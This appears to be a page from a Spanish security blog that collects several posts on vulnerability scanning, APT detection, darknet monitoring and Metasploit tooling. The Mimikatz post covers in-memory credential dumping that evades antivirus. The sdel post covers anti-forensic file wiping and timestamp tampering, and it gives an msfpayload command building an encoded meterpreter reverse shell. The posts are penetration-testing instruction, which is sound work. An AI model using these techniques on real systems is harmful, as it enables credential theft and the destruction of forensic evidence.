Blog de Seguridad de la Información de S2 Grupo
Recientemente revisando los resultados de salida que Nessus sacaba tras una auditoría de vulnerabilidades a un servidor FTP nos dimos cuenta de lo siguiente:
En principio nada destacable, ninguna vulnerabilidad relevante, pero como siempre, procedemos a una revisión manual de los resultados.
El caso es que si examinamos el banner de salida de este servidor nos muestra lo siguiente:
Apenas faltan dos semanas para que tengan lugar las III Conferencias de Seguridad Navaja Negra. Tras el éxito de las dos ediciones anteriores, este año vuelven a la carga con un atractivo plantel de ponentes, algunos de los cuales -como indican los propios organizadores- han sido “engañados” para ir, y otros provienen del CFP.
Las charlas, centradas en Seguridad de la Información versarán sobre los siguientes temas:
Recientemente Marc Ruef @mruef (Computec.ch), ha presentado una nueva release mejorada de Vulscan, un script para Nmap que ya presentó en 2010 con funcionalidades básicas de escáner de vulnerabilidades.
Vulscan basándose en la opción -sV de Nmap que nos muestra las versiones de los servicios detectados e interactuando offline con diversas bases de datos de vulnerabilidades es capaz de alertarnos si alguno de estos servicios es potencialmente vulnerable a alguna vulnerabilidad documentada en alguna de esas bases de datos.
Las bases de datos preinstaladas que trae son las siguientes:
Así pues, un ejemplo básico de funcionamiento de este script sería el siguiente. Tras añadir la carpeta Vulscan al directorio scripts donde tengamos nuestro directorio de instalación de Nmap (para las pruebas he utilizado owaspbwa que de antemano sé que ofrece servicios vulnerables en el puerto 22 y el 80, entre otros):
Si no especificamos nada interactuará con todas las bases de datos preinstaladas, sin embargo si queremos que por ejemplo solo cruce datos con una única base de datos añadiremos la opción vulscandb:
--script-args "vulscandb=basedatos.csv"
especificando la base de datos que queramos o incluso una nuestra que podemos crearnos sencillamente con el formato:
<id>;<title>
Una de las mejoras incorporadas es el soporte de plantillas de informes dinámicos a través de la opción vulscanoutput por la que puedes crearte tu propia estructura del informe a través del siguiente formato:
--script-args "vulscanoutput='{id} - Title: {title} ({matches})\n'"
donde:
Un caso práctico de este script sería por ejemplo en un escenario en el que estemos realizando una auditoría Web, en el que combinando éste y otros scripts NSE para Web Scanning de los muchos que incorporó Nmap en su última actualización más importante hace un año, nos conforme de manera muy rápida un primer informe preliminar sobre posibles deficiencias encontradas en dicha Web como por ejemplo determinando el título de la página por defecto del servidor Web detectado durante el escaneo (http-title), mostrando los directorios más utilizados por servidores o aplicaciones Web (http-enum), recopilando las direcciones de correo encontradas durante el escaneo (http-email-harvest) y encontrando las vulnerabilidades conocidas acorde a la versión del servicio Web detectado utilizando el mencionado vulscan:
nmap -sV --script=http-title,http-enum,http-email-harvest,vulscan -p80 172.16.94.128
El informe a la salida sería similar al siguiente:
Nótese que, por temas de espacio, he manipulado el informe de salida para no mostrar la salida completa de vulscan y sólo aparecen algunas de las vulnerabilidades encontradas y no todas.
Comentar por último que hay que tener en cuenta que este tipo de análisis de vulnerabilidades depende en gran medida de la capacidad de Nmap de obtener la versión del servicio detectado, de la cantidad de vulnerabilidades documentadas en las bases de datos y de la exactitud en la coincidencia de patrones al hacer el cruce de datos.
Personalmente he detectado que vulscan solo coge las versiones de salida de la opción de nmap -sV y con ellas interactúa, sin embargo echo en falta , que coja las salidas de otros scripts nse como por ejemplo html-cms.nse , que detecta la versión de CMS escaneada, y sería muy útil utilizar estos dos scripts, de forma que un script nos detecte la versión de CMS concreta y el otro las posibles vulnerabilidades que pueden ser encontradas para esa determinada versión. He hablado con @mruef y me ha comentado que el problema es que no puede acceder a datos de otros scripts a no ser que los proporcionen de alguna forma como por ejemplo en un fichero de salida. La mejor solución sería, que los otros scripts nse pongan sus datos de identificación a la salida en el Registry (véase la API de Nmap).
Según la API de Nmap los scripts pueden compartir información almacenando valores en un registro, que es una tabla especial a la que pueden acceder todos los scripts. Hay un registro global, nmap.registry, compartido por todos los scripts, cuya información persiste durante todo un escaneo completo de Nmap, de forma que los scripts puedan usarlo por ejemplo para almacenar valores que posteriormente , de manera secuencial, puedan ser utilizados por otro script contra la misma máquina dentro del mismo escaneo, de forma que la salida de uno retroalimente al otro.
Marc Ruef ya está trabajando en una nueva release en la que incluirá nuevas mejoras y funcionalidades como por ejemplo que vulscan 2.0 soportará Exploit-DB e IBM X-Force.
Referencias aquí.
Esta semana ha sido noticia la aprobación de la Estrategia de Seguridad Nacional 2013 la cual constituye la articulación fundamental de la Seguridad Nacional como Política de Estado, esto es, contiene directrices con el fin de reasignar todos los recursos disponibles del Estado de manera eficiente para la preservación de la Seguridad Nacional.
Si ya en la versión del 2011 el ciberespacio cobraba importancia como un nuevo ámbito en el que nuestro país se enfrenta ante amenazas y riesgos:
(Publicamos hoy un informe sobre detección de APTs elaborado por el CSIRT-CV e INTECO-CERT cuyos autores son dos de nuestros compañeros: Jose Miguel Holguín y Maite Moreno (S2 Grupo) por parte de CSIRT-CV y Borja Merino por parte de INTECO-CERT. Todos ellos son coautores habituales de este blog).
Cuando se habla de ataques de APT se habla de organización, premeditación, persistencia, sofisticación y novedad. No hay que olvidar que este tipo de amenazas están lo suficientemente bien financiadas cómo para mantener su campaña de ataques durante un periodo largo de tiempo, y disponer de los recursos necesarios para conseguir su fin. Es posible incluso que, en caso de ser detectados, los cibercriminales tengan un plan de contingencia que les permita reorganizarse y atacar de nuevo.
Su detección por tanto es de una extrema dificultad (Véase este enlace sobre amenazas persistentes avanzadas). Algunas fuentes (Véase este enlace sobre Foros DINTEL de AA.PP. Seguridad vs Ciberdelincuencia) hablan de un nivel de detección no superior al 25%:
En definitiva, las APT, a día de hoy, constituyen uno de los peligros mas importantes y de mayor expansión a los que se enfrentan los profesionales de la seguridad, y son prácticamente inevitables para la mayoría de las organizaciones, y es por ello que la cuestión principal que se ha de plantear en el panorama actual frente a este tipo de amenazas es cómo detectarlas.
Es fundamental proporcionar a los profesionales de la seguridad y administradores de sistemas y redes el conocimiento necesario sobre cómo detectar una APT en sus infraestructuras tecnológicas. Es por ello que, con objeto de concienciar sobre la importancia de una detección precoz ante una amenaza de este tipo, CSIRT-CV e INTECO-CERT han colaborado para la elaboración de un informe titulado “Detección de APTs”.
Los objetivos que pretende alcanzar este informe son los siguientes:
El informe “Detección de APTs” puede ser descargado bien del portal Web de CSIRT-cv o desde el portal de INTECO-CERT.
En la última actualización semanal de Metasploit destaca la incorporación de una nueva extensión dedicada a Mimikatz.
Mimikatz es una herramienta desarrollada por @gentilkiwi que permite el volcado de contraseñas en texto plano a través de lsass así como la obtención de hashes de la SAM, entre otras características, y de la que ya hemos hablando en mi anterior post sobre el módulo para metasploit sdel.
Mimikatz es detectada como herramienta maliciosa por los principales antivirus. Según Virustotal a día de hoy al menos 21 de 46 antivirus la detectan, con lo cual, su uso dificulta la labor del pentester.
Sin embargo, gracias a la extensión que ha realizado Meatballs1 para Metasploit es posible a través de meterpreter el uso de mimikatz sin que los antivirus nos alerten, al no tocar disco y ejecutarse completamente en memoria (una alternativa más cómoda al flag –m de execute). Un ejemplo de su uso sería el siguiente. Tras haber conseguido una shell en una máquina objetivo, cargamos a través de “load” la extension mimikatz:
Una vez cargada la extensión en nuestra sesión de meterpreter veamos las opciones que nos ofrece:
Ejecutando por ejemplo el comando “kerberos” obtenemos las credenciales de este tipo en claro que se encuentran en nuestra máquina comprometida:
Otro ejemplo de funcionamiento sería utilizando el comando “mimikatz_command” como podemos ver a continuación:
Con el parámetro logonPasswords conseguimos que nos muestre las sesiones concurrentes de los usuarios que han iniciado sesión en la máquina comprometida. Para el lector que quiera profundizar sobre este tema de cómo Windows almacena sus credenciales, sus debilidades al respecto, y como mimikatz es capaz de explotar esas debilidades os recomiendo este artículo además de las presentaciones en el blog de Gentilkiwi.
Una Darknet es una porción de mi red, un determinado espacio enrutado de direcciones IP, en la cual no hay servidores ni servicios activos. Es decir, de manera externa ningún paquete debería estar dirigido contra ese espacio de direcciones.
Por tanto, cualquier paquete que entre en una Darknet no debería ser legítimo. Podría llegar a ella por errores como políticas pobres de seguridad o una deficiente configuración (como por ejemplo mensajes de broadcast enviados a un segmento al cual no pertenece el emisor) pero la mayoría de estos paquetes llegarían enviados por algún tipo de acción sospechosa como algún malware (ver Responding to Zero Day Threats) o atacante que esté dentro de nuestra red y estuviera buscando de manera activa dispositivos vulnerables.
Si dentro de nuestra Darknet, montamos un servidor recolector que recoja ese tráfico que entra en la misma, lo analice y lo procese, nos ayudaría a recopilar más información sobre ese tráfico anómalo/malicioso que pudiera estar circulando por la infraestructura de red de nuestra organización, ayudándonos además a reducir el número de falsos positivos, a detectar ataques en tiempo real o nuevas tendencias de ataques a través de un análisis forense de ese tráfico de la Darknet.
Podemos monitorizar, entre otros, una serie de comportamientos anómalos en la misma, como (ver Aprendiendo del enemigo):
Desde el proyecto “The Darknet Project” de Team Cymru, nos cuentan un par de ejemplos prácticos de detección de anomalías monitorizando el tráfico de una Darknet. Por ejemplo, sabemos que existen bots que explotan los recursos compartidos abiertos de Microsoft Windows 2000. Un rasgo común de este tipo de bots es el escaneo de sistemas escuchando en el puerto 445/TCP, así que, consultando las herramientas de monitorización de tráfico de red integradas en el servidor recolector de nuestra Darknet podemos detectar si se ha producido un escaneo hacia el 445/TCP. De confirmarse, sería una señal de alerta puesto que los paquetes que se detectan dentro de la Darknet, como se ha comentado, no son legítimos.
Otro ejemplo práctico es sobre el gusano Slammer, el cual realiza un ataque de tipo DoS a servidores SQL mediante el envío múltiple de archivos con el código del gusano al puerto 1434. Uno de los síntomas de la presencia de Slammer es el considerable aumento del tráfico de red a través del puerto UDP 1434 (SQL Server Resolution Service Port). Detectando en nuestra Darknet un indicador de este tipo, nos alertaría sobre la posible presencia del gusano en nuestra red.
En definitiva, recopilando datos sobre todo el tráfico podemos ir analizándolo buscando todos los patrones de interés y automatizar a posteriori todo el proceso a través de un IDS que hayamos instalado en nuestro servidor recolector por ejemplo.
Antes de poner en marcha la creación de una Darknet en nuestra organización es importante tener en cuenta, entre otros, estos dos aspectos:
Creación de una Darknet
El CLCERT nos trae una propuesta de DarkNet que sería similar a la siguiente arquitectura (ver Diseño e implementación de una Darknet para monitoreo de la red en Chile – CLCERT):
En definitiva, y puesto que todo el tráfico en la Darknet es potencialmente sospechoso, puede sernos muy útil para detectar tráfico malicioso o anomalías de configuración de dispositivos en nuestra organización.
Por si os interesa profundizar en el tema, existen varios proyectos de creación de Darknets (también conocidos como telescopios de red; ver Darknet y telescopios de red) a gran escala cuyos principales objetivos son la monitorización de la actividad de tráfico de red y detección de nuevas tendencias en Internet:
Recientemente ha sido añadido a Metasploit (rama master) un módulo que nos puede ser interesante de cara a borrar ficheros descargados en el equipo de una víctima desde una sesión de meterpreter.
El módulo en cuestión, sdel, sobreescribe el fichero que queramos el número de veces que le indiquemos, bien con caracteres aleatorios, bien con null bytes (de forma similar al comando shred para Linux. Además, antes del borrado del fichero, sobreescribe su nombre con una cadena larga aleatoria (200 bytes) y modifica los atributos MACE del mismo (fechas de acceso, modificación, creación y entrada en la Master File Table (MFT) por medio de la API priv.fs.set_file_mace tal y como se muestra en su código. Como se ve, las nuevas fechas generadas se corresponderán con la fecha actual menos N días aleatorios.
Es importante destacar que, en el caso de tratarse de sistemas NTFS, si lo que se desea es eliminar ficheros muy pequeños, éstos podrían quedar residentes en el stream descriptor de la MFT y por tanto no serían sobreescritos. El módulo sdel alertaría de ello, avisando de que el fichero que se desea borrar es inferior a 800 bytes. Sdel, por tanto, sobreescribe el contenido del fichero y el slack space (espacio —perdido— que sobra entre el final del fichero y el clúster que se considera usado), pero no hará un “wipeo” del espacio libre. Es importante tener ésto en cuenta ya que ficheros que usen el cifrado/comprensión de Windows, así como ficheros temporales, podrían quedar repartidos por el disco sin ser sobreescritos.
Como bien indica su descripción, este módulo puede resultarnos muy útil cuando por ejemplo, en la fase de post explotación en un equipo víctima, necesitamos descargar algún fichero ejecutable para realizar alguna acción, y tras ello queremos borrar su contenido con seguridad, de cara a dificultar la tarea de un posible análisis forense a posteriori.
El uso de sdel es sencillo. Para sobreescribir y borrar el fichero deseado, únicamente se tiene que especificar el número de iteraciones (sobreescrituras) que se quieren llevar a cabo, así como el tipo de sobreescritura (aleatoria o null bytes). A continuación las opciones que tiene dicho módulo:
Ahora supongamos el siguiente escenario. Tenemos una sesión de meterpreter [1] en un equipo víctima en el que hemos utilizado la herramienta mimikatz (herramienta que permite el volcado de contraseñas en texto claro de un sistema Windows o la obtención de hashes de la SAM, entre otras características) y tras usarla queremos eliminarla, y para ello ejecutamos sdel indicándole por ejemplo que sobreescriba el fichero 3 veces:
Si tras el borrado con sdel de un fichero comprobamos [2] el contenido del mismo en disco antes y después del borrado, podemos ver que se ha sobreescrito correctamente. En las siguientes capturas se muestra el resultado antes y después del borrado de un fichero de prueba (msf.txt) en disco sobre un sistema de ficheros NTFS.
Como se observa en las imágenes anteriores tanto el nombre en la MTF como el contenido ha sido sobreescrito.
El módulo ha sido desarrollado por el también editor de este blog, Borja Merino (@borjamerino), y podéis usarlo siempre que os aseguréis de tener actualizada la última versión de Metasploit.
—
[1] Para las pruebas realizadas utilicé una VM con Windows 7 (X.X.X.51) y una Backtrack 5 r3 (X.X.X.41) desde la que generé un fichero ejecutable (meterpreter.exe) con el payload windows/meterpreter/reverse_tcp y codificándolo con el algoritmo shikata_ga_nai:
msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.41 R | ./msfencode -e x86/shikata_ga_nai -c 10 -t exe -o meterpreter.exe
Ejecutando el fichero meterpreter.exe en la máquina de la víctima y haciendo uso de Metasploit ya obtenemos nuestra reverse shell para conectarnos al equipo víctima:
[2] La herramienta utilizada ha sido WinHex.
El pasado 23 de Julio, INTECO-CERT publicó una nueva guía denominada “Software exploitation” cuya lectura queremos recomendar desde Security Art Work. La guía, constituida por 103 hojas, aborda diversos aspectos relacionados con la búsqueda y explotación de vulnerabilidades.
El objetivo es concienciar a programadores y responsables de seguridad sobre la importancia de desarrollar software seguro e implementar contramedidas con las que mitigar multitud de ataques que hoy en día siguen siendo la raíz de muchas intrusiones. Dichas contramedidas comenzarán con buenas prácticas de programación y el uso de funciones seguras que eviten errores de tipo buffer/integer overflow, use-after-free, off-by-one, etc. Por otro lado, se describen multitud de medidas tanto a nivel del compilador como del sistema operativo (DEP, ASLR, SEHOP, canary cookies, SPP, RELRO, etc.) que servirán de apoyo para frenar la ejecución de exploits que se aprovechen de software vulnerable. Como se detalla en la guía, dichas contramedidas servirán únicamente como un apoyo más a tener en cuenta a la hora de compilar e instalar aplicaciones ya que éstas pueden ser fácilmente eludidas si se implementan de forma aislada.
Lo que hace realmente atractiva esta guía (además de que está en castellano) es el enfoque práctico utilizado para detallar paso a paso multitud de herramientas y scripts (FOE, mona.py para Immunity Debugger, Ollydbg, etc.) con las que localizar y depurar en profundidad vulnerabilidades críticas.
Continuando con la crónica de la jornada organizada por la Revista SIC: “Protección de vanguardia ante APTs y DDoS: Nuevos ataques, mejores defensas” la cual os empezamos a contar hace un par de días, en el siguiente bloque de la misma se abordaron las diferentes aproximaciones que diferentes fabricantes hacen con respecto a la protección frente a APTs y a ataques DDoS. Apuntar que se repitieron bastante entre todos los fabricantes dos palabras que actualmente están muy de moda: Correlación e Inteligencia.
BLOQUE 2: Aproximaciones de la industria
Check Point, Corero, Fortinet, HP, Stonesoft, Symantec y Trend Micro
Lo que la mayoría de fabricantes definió como ‘inteligencia’ era por un lado el hecho de disponer bases de datos centralizadas (bien globales, en cloud, o en cliente), que recopilaban información bien de clientes y/o procedentes de otras empresas u organismos con los que tienen acuerdos, información con datos sobre tendencias de ataques, sobre reputación de IPs o sobre reputación de los propios usuarios dentro de un cliente, nuevas vulnerabilidades, patrones de tráfico, comportamientos anómalos. En definitiva, recopilación de toda la información necesaria para hacer que se tenga una visión global de lo que está pasando para, con la retroalimentación de todos esos datos poder estar prevenidos frente a un ataque dirigido.
